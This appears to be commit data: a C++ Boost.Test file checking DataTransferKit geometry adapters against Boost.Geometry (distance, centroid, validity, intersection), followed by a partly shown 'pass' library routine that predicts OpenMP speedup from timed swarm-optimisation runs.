BOOST_TEST(\n        !bg::equals( box, bg::Box( bg::make<bg::Point>( 0., 0., 0. ),\n                                   bg::make<bg::Point>( 1., 1., 1. ) ) ) );\n    \/\/ Now just for fun compare the DTK box to a Boost.Geometry box composed of\n    \/\/ DTK points.\n    BOOST_TEST( bg::equals(\n        box, bg::model::box<dtk::Point>( {{1., 2., 3.}}, {{4., 5., 6.}} ) ) );\n    BOOST_TEST( !bg::equals(\n        box, bg::model::box<dtk::Point>( {{0., 0., 0.}}, {{0., 0., 0.}} ) ) );\n}\n\nBOOST_AUTO_TEST_CASE( distance )\n{\n    \/\/ NOTE unsure if should test for floating point equality here\n    dtk::Point a = {{0., 0., 0.}};\n    dtk::Point b = {{0., 1., 0.}};\n    BOOST_TEST( dtk::distance( a, b ) == 1. );\n    BOOST_TEST( bg::distance( a, b ) == 1. );\n\n    std::tie( a, b ) = std::make_pair<dtk::Point, dtk::Point>( {{0., 0., 0.}},\n                                                               {{1., 1., 1.}} );\n    BOOST_TEST( dtk::distance( a, b ) == std::sqrt( 3. ) );\n    BOOST_TEST( bg::distance( a, b ) == std::sqrt( 3. ) );\n\n    BOOST_TEST( dtk::distance( a, a ) == 0. );\n    BOOST_TEST( bg::distance( a, a ) == 0. );\n\n    dtk::Box unit_box = {{{0., 0., 0.}}, {{1., 1., 1.}}};\n    dtk::Point p = {{.5, .5, .5}};\n    \/\/ NOTE DTK has no overload distance( Box, Point )\n    BOOST_TEST( dtk::distance( p, unit_box ) == 0. );\n    \/\/ BOOST_TEST( dtk::distance( unit_box, p ) == 0. );\n    BOOST_TEST( bg::distance( p, unit_box ) == 0. );\n    BOOST_TEST( bg::distance( unit_box, p ) == 0. );\n\n    p = {{-1., -1., -1.}};\n    BOOST_TEST( dtk::distance( p, unit_box ) == std::sqrt( 3. ) );\n    BOOST_TEST( bg::distance( p, unit_box ) == std::sqrt( 3. ) );\n\n    p = {{-1., .5, -1.}};\n    BOOST_TEST( dtk::distance( p, unit_box ) == std::sqrt( 2. ) );\n    BOOST_TEST( bg::distance( p, unit_box ) == std::sqrt( 2. ) );\n\n    p = {{-1., .5, .5}};\n    BOOST_TEST( dtk::distance( p, unit_box ) == 1. );\n    BOOST_TEST( bg::distance( p, unit_box ) == 1. );\n}\n\nBOOST_AUTO_TEST_CASE( expand )\n{\n    using dtk::equals;\n    dtk::Box box;\n    \/\/ NOTE even though not considered valid, default constructed DTK box can be\n    \/\/ expanded using Boost.Geometry algorithm.\n    BOOST_TEST( !bg::is_valid( box ) );\n    bg::expand( box, dtk::Point{{0., 0., 0.}} );\n    dtk::expand( box, {{1., 1., 1.}} );\n    BOOST_TEST( equals( box, {{{0., 0., 0.}}, {{1., 1., 1.}}} ) );\n    bg::expand( box, dtk::Box{{{1., 2., 3.}}, {{4., 5., 6.}}} );\n    dtk::expand( box, {{{-1., -2., -3.}}, {{0., 0., 0.}}} );\n    BOOST_TEST( equals( box, {{{-1., -2., -3.}}, {{4., 5., 6.}}} ) );\n}\n\nBOOST_AUTO_TEST_CASE( centroid )\n{\n    using dtk::equals;\n    \/\/ For convenience define a function that returns the centroid.\n    \/\/ Boost.Geometry defines both `void centroid(Geometry const & geometry,\n    \/\/ Point &c )` and `Point return_centroid(Geometry const& geometry)`\n    auto const dtkReturnCentroid = []( dtk::Box b ) {\n        dtk::Point c;\n        dtk::centroid( b, c );\n        return c;\n    };\n\n    \/\/ Interestingly enough, even though for Boost.Geometry, the DTK default\n    \/\/ constructed \"empty\" box is not valid, it will still calculate its\n    \/\/ centroid.  Admittedly, the result (centroid at origin) is garbage :)\n    dtk::Box empty_box = {};\n    BOOST_TEST( !bg::is_valid( empty_box ) );\n    BOOST_TEST( equals( bg::return_centroid<dtk::Point>( empty_box ),\n                        {{0., 0., 0.}} ) );\n    BOOST_TEST( equals( dtkReturnCentroid( empty_box ), {{0., 0., 0.}} ) );\n\n    dtk::Box unit_box = {{{0., 0., 0.}}, {{1., 1., 1.}}};\n    BOOST_TEST(\n        equals( bg::return_centroid<dtk::Point>( unit_box ), {{.5, .5, .5}} ) );\n    BOOST_TEST( equals( dtkReturnCentroid( unit_box ), {{.5, .5, .5}} ) );\n\n    \/\/ NOTE DTK does not have an overload of centroid() for Point at the\n    \/\/ moment.\n    dtk::Point a_point = {{1., 2., 3.}};\n    BOOST_TEST( equals( bg::return_centroid<dtk::Point>( a_point ), a_point ) );\n    \/\/ BOOST_TEST( equals( dtk::centroid(\n    \/\/     []( dtk::Point p ) {\n    \/\/         dtk::Point c;\n    \/\/         dtk::centroid( p, c );\n    \/\/         return c;\n    \/\/     }( a_point ),\n    \/\/     a_point ) ) );\n}\n\nBOOST_AUTO_TEST_CASE( is_valid )\n{\n    \/\/ NOTE \"empty\" box is considered as valid in DataTransferKit but it is\n    \/\/ not according to Boost.Geometry\n    dtk::Box empty_box = {};\n    BOOST_TEST( dtk::isValid( empty_box ) );\n    std::string message;\n    BOOST_TEST( !bg::is_valid( empty_box, message ) );\n    BOOST_TEST( message == \"Box has corners in wrong order\" );\n\n    \/\/ Same issue with infinitesimal box around a point (here the origin)\n    dtk::Box a_box = {{{0., 0., 0.}}, {{0., 0., 0.}}};\n    BOOST_TEST( dtk::isValid( a_box ) );\n    BOOST_TEST( !bg::is_valid( a_box, message ) );\n    BOOST_TEST( message == \"Geometry has wrong topological dimension\" );\n\n    dtk::Box unit_box = {{{0., 0., 0.}}, {{1., 1., 1.}}};\n    BOOST_TEST( dtk::isValid( unit_box ) );\n    BOOST_TEST( bg::is_valid( unit_box ) );\n\n    dtk::Box invalid_box = {{{1., 2., 3.}}, {{4., NAN, 6.}}};\n    BOOST_TEST( !dtk::isValid( invalid_box ) );\n    BOOST_TEST( !bg::is_valid( invalid_box, message ) );\n    BOOST_TEST( message == \"Geometry has point(s) with invalid coordinate(s)\" );\n\n    dtk::Point a_point = {{1., 2., 3.}};\n    BOOST_TEST( dtk::isValid( a_point ) );\n    BOOST_TEST( bg::is_valid( a_point ) );\n\n    auto const infty = std::numeric_limits<double>::infinity();\n    dtk::Point invalid_point = {{infty, 1.41, 3.14}};\n    BOOST_TEST( !dtk::isValid( invalid_point ) );\n    BOOST_TEST( !bg::is_valid( invalid_point, message ) );\n    BOOST_TEST( message == \"Geometry has point(s) with invalid coordinate(s)\" );\n\n    \/\/ Also Boost.Geometry has a is_empty() algorithm but it has a different\n    \/\/ meaning, it checks whether a geometry is an empty set and always returns\n    \/\/ false for a point or a box.\n    BOOST_TEST( !bg::is_empty( empty_box ) );\n    BOOST_TEST( !bg::is_empty( a_box ) );\n    BOOST_TEST( !bg::is_empty( unit_box ) );\n}\n\nBOOST_AUTO_TEST_CASE( intersects )\n{\n    dtk::Box const unit_box = {{{0., 0., 0.}}, {{1., 1., 1.}}};\n\n    \/\/ self-intersection\n    BOOST_TEST( dtk::intersects( unit_box, unit_box ) );\n    BOOST_TEST( bg::intersects( unit_box, unit_box ) );\n\n    \/\/ share a corner\n    dtk::Box other_box = {{{1., 1., 1.}}, {{2., 2., 2.}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ share an edge\n    other_box = {{{1., 0., 1.}}, {{2., 1., 2.}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ share a face\n    other_box = {{{0., -1., 0.}}, {{1., 0., 1.}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ contains the other box\n    other_box = {{{.3, .3, .3}}, {{.6, .6, .6}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ within the other box\n    other_box = {{{-1., -1., -1.}}, {{2., 2., 2.}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ overlapping\n    other_box = {{{.5, .5, .5}}, {{2., 2., 2.}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ disjoint\n    other_box = {{{1., 2., 3.}}, {{4., 5., 6.}}};\n    BOOST_TEST( !dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( !bg::intersects( unit_box, other_box ) );\n}\n<commit_msg>Update test that calculate centroid of geometries<commit_after>\/****************************************************************************\n * Copyright (c) 2012-2019 by the DataTransferKit authors                   *\n * All rights reserved.                                                     *\n *                                                                          *\n * This file is part of the DataTransferKit library. DataTransferKit is     *\n * distributed under a BSD 3-clause license. For the licensing terms see    *\n * the LICENSE file in the top-level directory.                             *\n *                                                                          *\n * SPDX-License-Identifier: BSD-3-Clause                                    *\n ****************************************************************************\/\n\n#include \"DTK_BoostGeometryAdapters.hpp\"\n\n#include <DTK_DetailsAlgorithms.hpp>\n\n#include <boost\/test\/unit_test.hpp>\n\n#define BOOST_TEST_MODULE BoostGeometryAdapters\n\nnamespace bg = boost::geometry;\nnamespace dtk = DataTransferKit::Details;\n\/\/ Conveniently importing Point and Box in DataTransferKit::Details:: namespace\n\/\/ and declaring type aliases within boost::geometry:: so that we are able to\n\/\/ just use dtk:: and bg:: to specify what geometry or algorithm we mean.\nnamespace DataTransferKit\n{\nnamespace Details\n{\nusing DataTransferKit::Box;\nusing DataTransferKit::Point;\n} \/\/ namespace Details\n} \/\/ namespace DataTransferKit\nnamespace boost\n{\nnamespace geometry\n{\nusing Point = model::point<double, 3, cs::cartesian>;\nusing Box = model::box<Point>;\n} \/\/ namespace geometry\n} \/\/ namespace boost\n\nBOOST_AUTO_TEST_CASE( equals )\n{\n    dtk::Point point = {{1., 2., 3.}};\n    BOOST_TEST( dtk::equals( point, {{1., 2., 3.}} ) );\n    BOOST_TEST( !dtk::equals( point, {{0., 0., 0.}} ) );\n    BOOST_TEST( bg::equals( point, bg::make<dtk::Point>( 1., 2., 3. ) ) );\n    BOOST_TEST( !bg::equals( point, bg::make<dtk::Point>( 4., 5., 6. ) ) );\n    BOOST_TEST( bg::equals( point, bg::make<bg::Point>( 1., 2., 3. ) ) );\n    BOOST_TEST( !bg::equals( point, bg::make<bg::Point>( 0., 0., 0. ) ) );\n\n    dtk::Box box = {{{1., 2., 3.}}, {{4., 5., 6.}}};\n    BOOST_TEST( dtk::equals( box, {{{1., 2., 3.}}, {{4., 5., 6.}}} ) );\n    BOOST_TEST( !dtk::equals( box, {{{0., 0., 0.}}, {{1., 1., 1.}}} ) );\n    BOOST_TEST( bg::equals( box, dtk::Box{{{1., 2., 3.}}, {{4., 5., 6.}}} ) );\n    BOOST_TEST( !bg::equals( box, dtk::Box{{{0., 0., 0.}}, {{1., 1., 1.}}} ) );\n    BOOST_TEST(\n        bg::equals( box, bg::Box( bg::make<bg::Point>( 1., 2., 3. ),\n                                  bg::make<bg::Point>( 4., 5., 6. ) ) ) );\n    BOOST_TEST(\n        !bg::equals( box, bg::Box( bg::make<bg::Point>( 0., 0., 0. ),\n                                   bg::make<bg::Point>( 1., 1., 1. ) ) ) );\n    \/\/ Now just for fun compare the DTK box to a Boost.Geometry box composed of\n    \/\/ DTK points.\n    BOOST_TEST( bg::equals(\n        box, bg::model::box<dtk::Point>( {{1., 2., 3.}}, {{4., 5., 6.}} ) ) );\n    BOOST_TEST( !bg::equals(\n        box, bg::model::box<dtk::Point>( {{0., 0., 0.}}, {{0., 0., 0.}} ) ) );\n}\n\nBOOST_AUTO_TEST_CASE( distance )\n{\n    \/\/ NOTE unsure if should test for floating point equality here\n    dtk::Point a = {{0., 0., 0.}};\n    dtk::Point b = {{0., 1., 0.}};\n    BOOST_TEST( dtk::distance( a, b ) == 1. );\n    BOOST_TEST( bg::distance( a, b ) == 1. );\n\n    std::tie( a, b ) = std::make_pair<dtk::Point, dtk::Point>( {{0., 0., 0.}},\n                                                               {{1., 1., 1.}} );\n    BOOST_TEST( dtk::distance( a, b ) == std::sqrt( 3. ) );\n    BOOST_TEST( bg::distance( a, b ) == std::sqrt( 3. ) );\n\n    BOOST_TEST( dtk::distance( a, a ) == 0. );\n    BOOST_TEST( bg::distance( a, a ) == 0. );\n\n    dtk::Box unit_box = {{{0., 0., 0.}}, {{1., 1., 1.}}};\n    dtk::Point p = {{.5, .5, .5}};\n    \/\/ NOTE DTK has no overload distance( Box, Point )\n    BOOST_TEST( dtk::distance( p, unit_box ) == 0. );\n    \/\/ BOOST_TEST( dtk::distance( unit_box, p ) == 0. );\n    BOOST_TEST( bg::distance( p, unit_box ) == 0. );\n    BOOST_TEST( bg::distance( unit_box, p ) == 0. );\n\n    p = {{-1., -1., -1.}};\n    BOOST_TEST( dtk::distance( p, unit_box ) == std::sqrt( 3. ) );\n    BOOST_TEST( bg::distance( p, unit_box ) == std::sqrt( 3. ) );\n\n    p = {{-1., .5, -1.}};\n    BOOST_TEST( dtk::distance( p, unit_box ) == std::sqrt( 2. ) );\n    BOOST_TEST( bg::distance( p, unit_box ) == std::sqrt( 2. ) );\n\n    p = {{-1., .5, .5}};\n    BOOST_TEST( dtk::distance( p, unit_box ) == 1. );\n    BOOST_TEST( bg::distance( p, unit_box ) == 1. );\n}\n\nBOOST_AUTO_TEST_CASE( expand )\n{\n    using dtk::equals;\n    dtk::Box box;\n    \/\/ NOTE even though not considered valid, default constructed DTK box can be\n    \/\/ expanded using Boost.Geometry algorithm.\n    BOOST_TEST( !bg::is_valid( box ) );\n    bg::expand( box, dtk::Point{{0., 0., 0.}} );\n    dtk::expand( box, {{1., 1., 1.}} );\n    BOOST_TEST( equals( box, {{{0., 0., 0.}}, {{1., 1., 1.}}} ) );\n    bg::expand( box, dtk::Box{{{1., 2., 3.}}, {{4., 5., 6.}}} );\n    dtk::expand( box, {{{-1., -2., -3.}}, {{0., 0., 0.}}} );\n    BOOST_TEST( equals( box, {{{-1., -2., -3.}}, {{4., 5., 6.}}} ) );\n}\n\nBOOST_AUTO_TEST_CASE( centroid )\n{\n    using dtk::equals;\n\n    \/\/ Interestingly enough, even though for Boost.Geometry, the DTK default\n    \/\/ constructed \"empty\" box is not valid, it will still calculate its\n    \/\/ centroid.  Admittedly, the result (centroid at origin) is garbage :)\n    dtk::Box empty_box = {};\n    BOOST_TEST( !bg::is_valid( empty_box ) );\n    BOOST_TEST( equals( bg::return_centroid<dtk::Point>( empty_box ),\n                        {{0., 0., 0.}} ) );\n    BOOST_TEST( equals( dtk::returnCentroid( empty_box ), {{0., 0., 0.}} ) );\n\n    dtk::Box unit_box = {{{0., 0., 0.}}, {{1., 1., 1.}}};\n    BOOST_TEST(\n        equals( bg::return_centroid<dtk::Point>( unit_box ), {{.5, .5, .5}} ) );\n    BOOST_TEST( equals( dtk::returnCentroid( unit_box ), {{.5, .5, .5}} ) );\n\n    dtk::Point a_point = {{1., 2., 3.}};\n    BOOST_TEST( equals( bg::return_centroid<dtk::Point>( a_point ), a_point ) );\n    BOOST_TEST( equals( dtk::returnCentroid( a_point ), a_point ) );\n}\n\nBOOST_AUTO_TEST_CASE( is_valid )\n{\n    \/\/ NOTE \"empty\" box is considered as valid in DataTransferKit but it is\n    \/\/ not according to Boost.Geometry\n    dtk::Box empty_box = {};\n    BOOST_TEST( dtk::isValid( empty_box ) );\n    std::string message;\n    BOOST_TEST( !bg::is_valid( empty_box, message ) );\n    BOOST_TEST( message == \"Box has corners in wrong order\" );\n\n    \/\/ Same issue with infinitesimal box around a point (here the origin)\n    dtk::Box a_box = {{{0., 0., 0.}}, {{0., 0., 0.}}};\n    BOOST_TEST( dtk::isValid( a_box ) );\n    BOOST_TEST( !bg::is_valid( a_box, message ) );\n    BOOST_TEST( message == \"Geometry has wrong topological dimension\" );\n\n    dtk::Box unit_box = {{{0., 0., 0.}}, {{1., 1., 1.}}};\n    BOOST_TEST( dtk::isValid( unit_box ) );\n    BOOST_TEST( bg::is_valid( unit_box ) );\n\n    dtk::Box invalid_box = {{{1., 2., 3.}}, {{4., NAN, 6.}}};\n    BOOST_TEST( !dtk::isValid( invalid_box ) );\n    BOOST_TEST( !bg::is_valid( invalid_box, message ) );\n    BOOST_TEST( message == \"Geometry has point(s) with invalid coordinate(s)\" );\n\n    dtk::Point a_point = {{1., 2., 3.}};\n    BOOST_TEST( dtk::isValid( a_point ) );\n    BOOST_TEST( bg::is_valid( a_point ) );\n\n    auto const infty = std::numeric_limits<double>::infinity();\n    dtk::Point invalid_point = {{infty, 1.41, 3.14}};\n    BOOST_TEST( !dtk::isValid( invalid_point ) );\n    BOOST_TEST( !bg::is_valid( invalid_point, message ) );\n    BOOST_TEST( message == \"Geometry has point(s) with invalid coordinate(s)\" );\n\n    \/\/ Also Boost.Geometry has a is_empty() algorithm but it has a different\n    \/\/ meaning, it checks whether a geometry is an empty set and always returns\n    \/\/ false for a point or a box.\n    BOOST_TEST( !bg::is_empty( empty_box ) );\n    BOOST_TEST( !bg::is_empty( a_box ) );\n    BOOST_TEST( !bg::is_empty( unit_box ) );\n}\n\nBOOST_AUTO_TEST_CASE( intersects )\n{\n    dtk::Box const unit_box = {{{0., 0., 0.}}, {{1., 1., 1.}}};\n\n    \/\/ self-intersection\n    BOOST_TEST( dtk::intersects( unit_box, unit_box ) );\n    BOOST_TEST( bg::intersects( unit_box, unit_box ) );\n\n    \/\/ share a corner\n    dtk::Box other_box = {{{1., 1., 1.}}, {{2., 2., 2.}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ share an edge\n    other_box = {{{1., 0., 1.}}, {{2., 1., 2.}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ share a face\n    other_box = {{{0., -1., 0.}}, {{1., 0., 1.}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ contains the other box\n    other_box = {{{.3, .3, .3}}, {{.6, .6, .6}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ within the other box\n    other_box = {{{-1., -1., -1.}}, {{2., 2., 2.}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ overlapping\n    other_box = {{{.5, .5, .5}}, {{2., 2., 2.}}};\n    BOOST_TEST( dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( bg::intersects( unit_box, other_box ) );\n\n    \/\/ disjoint\n    other_box = {{{1., 2., 3.}}, {{4., 5., 6.}}};\n    BOOST_TEST( !dtk::intersects( unit_box, other_box ) );\n    BOOST_TEST( !bg::intersects( unit_box, other_box ) );\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"pass_bits\/analyser\/openmp.hpp\"\n#include \"pass_bits\/problem\/space_mission\/gtoc1.hpp\"\n#include \"pass_bits\/problem\/optimisation_benchmark\/de_jong_function.hpp\"\n#include \"pass_bits\/helper\/evaluation_time_stall.hpp\"\n#include \"pass_bits\/optimiser\/parallel_swarm_search.hpp\"\n#include \"pass_bits\/optimiser\/particle_swarm_optimisation.hpp\"\n#include \"pass_bits\/analyser\/problem_evaluation_time.hpp\"\n#include \"pass_bits\/helper\/regression.hpp\"\n#include \"pass_bits\/helper\/random.hpp\"\n#include <unistd.h>\n\nbool pass::enable_openmp(const pass::problem &problem)\n{\n  \/\/ Output information\n  std::cout << \" =========================== Start openMP Analyse ========================= \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Your Problem:                \" << problem.name << std::endl;\n  std::cout << \" Dimension:                   \" << problem.dimension() << std::endl;\n  std::cout << \" Number Threads:              \" << pass::number_of_threads() << std::endl;\n  std::cout << \" Maximum Speedup:             \" << pass::number_of_threads() << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  std::cout << \" ============================= Start Evaluation =========================== \" << std::endl;\n\n  double your_time = pass::problem_evaluation_time(problem);\n\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Evaluation time: \" << your_time * 1e-3 << \" microseconds.\" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" ============================= End Evaluation  ============================ \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  arma::mat summary;\n  arma::rowvec model;\n\n  \/\/ Check if the file exists\n  bool ok = model.load(\".\/openmp_model.pass\");\n\n  if (ok == false)\n  {\n    std::cout << \" - Model does not exist                                                     \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    \/\/ Start training the data\n    summary = train(30);\n    model = build_model(summary);\n  }\n  else\n  {\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" - Model exists                                                             \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n  }\n\n  std::cout << \" ========================= Start SpeedUp Prediction ======================= \" << std::endl;\n\n  \/\/ Generating a regression object\n  pass::regression r;\n\n  if (model.n_elem == 3)\n  {\n    double predict_linear = r.predict_linear(your_time, model);\n\n    if (predict_linear > 0.9 * pass::number_of_threads())\n    {\n      predict_linear = 0.9 * pass::number_of_threads();\n    }\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Your speedUp would be approximately: \" << predict_linear << std::endl;\n\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================== Done SpeedUp Prediction ======================= \" << std::endl;\n\n    if (predict_linear > pass::number_of_threads() \/ 2) \/\/ efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should activate openMP!                                                \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return true;\n    }\n    if (predict_linear < 1) \/\/ is efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should NOT activate openMP!                                            \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return false;\n    }\n    if (predict_linear > 1 && predict_linear < pass::number_of_threads() \/ 2) \/\/ efficienty is less than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should decide yourself if to activate openMP or not!                   \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n    }\n  }\n  else\n  {\n    double predict_poly = r.predict_poly(your_time, model);\n\n    if (predict_poly > 0.9 * pass::number_of_threads())\n    {\n      predict_poly = 0.9 * pass::number_of_threads();\n    }\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Your speedUp would be approximately: \" << predict_poly << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================== Done SpeedUp Prediction ======================= \" << std::endl;\n\n    if (predict_poly > pass::number_of_threads() \/ 2) \/\/ is efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should activate openMP!                                                \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return true;\n    }\n    if (predict_poly < 1) \/\/ is efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should NOT activate openMP!                                            \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n      return false;\n    }\n    if (predict_poly > 1 && predict_poly < pass::number_of_threads() \/ 2) \/\/ is efficienty is more than 50 %\n    {\n      std::cout << \"                                                                            \" << std::endl;\n      std::cout << \" You should decide yourself if to activate openMP or not!                   \" << std::endl;\n      std::cout << \"                                                                            \" << std::endl;\n    }\n  }\n\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" =========================  Done openMP Analyse  ========================== \" << std::endl;\n\n  return true;\n}\n\narma::mat pass::train(const int &examples)\n{\n  \/\/ define the maximum of runs\n  arma::uword alg_runs = 2;\n\n  \/\/ Array including all alg runtime, we want to test\n  \/\/std::array<int, 30> repetitions = {1, 2, 3, 80, 100, 140, 180, 190, 90, 100, 110, 120, 130, 160, 200, 240, 330, 333, 436,\n  \/\/                                   2, 45, 50, 60, 70, 80, 100, 120, 140, 160};\n\n  arma::rowvec repetitions = pass::integers_uniform_in_range(1, 1000, examples);\n\n  \/\/ Output information\n  std::cout << \" ============================= Start Trainining =========================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  arma::vec serial(alg_runs);\n  arma::vec parallel(alg_runs);\n\n  arma::mat summary(2, repetitions.size());\n\n  std::srand(time(0));\n  int count = 0;\n\n  pass::particle_swarm_optimisation algorithm_serial;\n  \/\/algorithm_serial.maximal_duration = std::chrono::seconds(5);\n  algorithm_serial.maximal_iterations = 200;\n\n  pass::parallel_swarm_search algorithm_parallel;\n  \/\/algorithm_parallel.maximal_duration = std::chrono::seconds(5);\n  algorithm_parallel.maximal_iterations = 200;\n\n  repetitions = arma::sort(repetitions);\n\n  for (int repetition : repetitions)\n  {\n    \/\/ Problem initialisation\n    pass::de_jong_function test_problem(10);\n    pass::evaluation_time_stall simulated_problem(test_problem);\n    simulated_problem.repetitions = repetition;\n\n    std::cout << \"Repetion: \" << repetition << std::endl;\n\n    double ev_time = pass::problem_evaluation_time(simulated_problem);\n    summary(0, count) = ev_time * 1e-3;\n\n    \/\/ Do the evaluation for serial and parallel for all the evaluations values\n    for (arma::uword serial_run = 0; serial_run < alg_runs; ++serial_run)\n    {\n      pass::optimise_result serial_alg = algorithm_serial.optimise(simulated_problem);\n      \/\/serial(serial_run) = serial_alg.evaluations;\n      serial(serial_run) = serial_alg.duration.count();\n      usleep(1000000);\n    }\n\n    std::cout << \"Serial: \" << arma::mean(serial) * 1e-3 << std::endl;\n\n    for (arma::uword parallel_run = 0; parallel_run < alg_runs; ++parallel_run)\n    {\n      optimise_result parallel_alg = algorithm_parallel.optimise(simulated_problem);\n      \/\/parallel(parallel_run) = parallel_alg.evaluations;\n      parallel(parallel_run) = parallel_alg.duration.count();\n      usleep(1000000);\n    }\n    std::cout << \"Parallel: \" << arma::mean(parallel) * 1e-3 << std::endl;\n\n    summary(1, count) = arma::mean(serial) \/ arma::mean(parallel);\n\n    std::cout << \"Summary: \\n\"\n              << summary.col(count) << std::endl;\n\n    count++;\n\n    \/\/ load bar\n    double temp_count = static_cast<double>(examples) \/ static_cast<double>(count);\n    std::cout << \" \\r \" << 100.0 \/ temp_count << \" % completed.\" << std::flush;\n  }\n\n  std::cout << std::endl\n            << std::endl\n            << \" Training completed successfully.\\n\"\n            << std::flush;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" ===========================  End Training  =============================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  return summary;\n}\n\narma::rowvec pass::build_model(const arma::mat &training_points)\n{\n  \/\/ File to save the model\n  std::string file_name;\n  file_name = \"openmp_model.pass\";\n\n  \/\/ Generating a regression object\n  pass::regression r;\n\n  \/\/ Getting the data for the model\n  arma::rowvec x_values = training_points.row(0);\n  arma::rowvec y_values = training_points.row(1);\n\n  \/\/ Output information\n  std::cout << \" =========================== Start Building Models ======================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Building linear model for the training data.                               \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  \/\/ Generating the linear model\n\n  arma::rowvec linear_model = r.linear_model(x_values, y_values);\n\n  if (linear_model(2) >= 0.9)\n  {\n    std::cout << \" Finished building linear model.                                            \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" Linear Model is suitable.                                                  \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n    std::cout << \" ========================= Done Building Models  ========================== \" << std::endl;\n    std::cout << \"                                                                            \" << std::endl;\n\n    linear_model.save(\".\/\" + file_name, arma::raw_ascii);\n\n    return linear_model;\n  }\n\n  std::cout << \" Finished building linear model.                                            \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Linear Model is NOT suitable.                                              \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Building polynomial model for the training data.                           \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  arma::rowvec poly_model = r.poly_model(x_values, y_values, 3);\n  std::cout << \" ========================= Done Building Models  ========================== \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n\n  poly_model.save(\".\/\" + file_name, arma::raw_ascii);\n\n  return poly_model;\n}\n<commit_msg>test<commit_after>#include \"pass_bits\/analyser\/openmp.hpp\"\n#include \"pass_bits\/problem\/space_mission\/gtoc1.hpp\"\n#include \"pass_bits\/problem\/optimisation_benchmark\/de_jong_function.hpp\"\n#include \"pass_bits\/helper\/evaluation_time_stall.hpp\"\n#include \"pass_bits\/optimiser\/parallel_swarm_search.hpp\"\n#include \"pass_bits\/optimiser\/particle_swarm_optimisation.hpp\"\n#include \"pass_bits\/analyser\/problem_evaluation_time.hpp\"\n#include \"pass_bits\/helper\/regression.hpp\"\n#include \"pass_bits\/helper\/random.hpp\"\n#include <unistd.h>\n\nbool pass::enable_openmp(const pass::problem &problem)\n{\n  \/\/ Output information\n  std::cout << \" =========================== Start openMP Analyse ========================= \" << std::endl;\n  std::cout << \"                                                                            \" << std::endl;\n  std::cout << \" Your Problem:                \" << problem.name << std::endl;\n  std::cout << \" Dimension:                   \" << problem.dimension() << std::endl;\n  std::cout << \" Number Threads:              \" << pass::number_of_threads() << std::endl;\n  std::cout << \" Maximum 